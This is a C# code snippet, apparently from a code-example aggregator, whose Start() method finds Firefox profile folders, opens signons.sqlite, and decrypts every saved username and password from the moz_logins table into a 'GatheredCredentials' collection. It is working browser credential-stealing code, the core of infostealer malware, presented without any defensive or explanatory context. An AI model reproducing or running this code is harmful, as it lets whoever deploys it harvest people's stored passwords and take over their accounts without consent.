Ejemplo n.º 1
0
        public static void Start()
        {
            string SignonFile = "";

            string MozillaPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + @"\Mozilla Firefox\";
            string ProfilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";

            foreach (string SubFolder in Directory.GetDirectories(ProfilePath))
            {
                foreach (string SingleFile in Directory.GetFiles(SubFolder, "*.sqlite"))
                {
                    if (SingleFile.Contains("signons.sqlite"))
                    {
                        SignonFile = SingleFile;
                        NSS_Init(SubFolder, MozillaPath);
                    }
                }
            }

            SQLiteWrapper NewDb = new SQLiteWrapper(SignonFile);

            NewDb.ReadTable("moz_logins");

            for (int i = 0; i <= NewDb.GetRowCount() - 1; i++)
            {
                string Host     = NewDb.GetValue(i, "hostname");
                string FormUrl  = NewDb.GetValue(i, "formSubmitURL");
                string Username = Decrypt(NewDb.GetValue(i, "encryptedUsername"));
                string Password = Decrypt(NewDb.GetValue(i, "encryptedPassword"));

                UserDataManager.GatheredCredentials.Add(new Credential("FireFox", Host, Username, Password, FormUrl));
            }
        }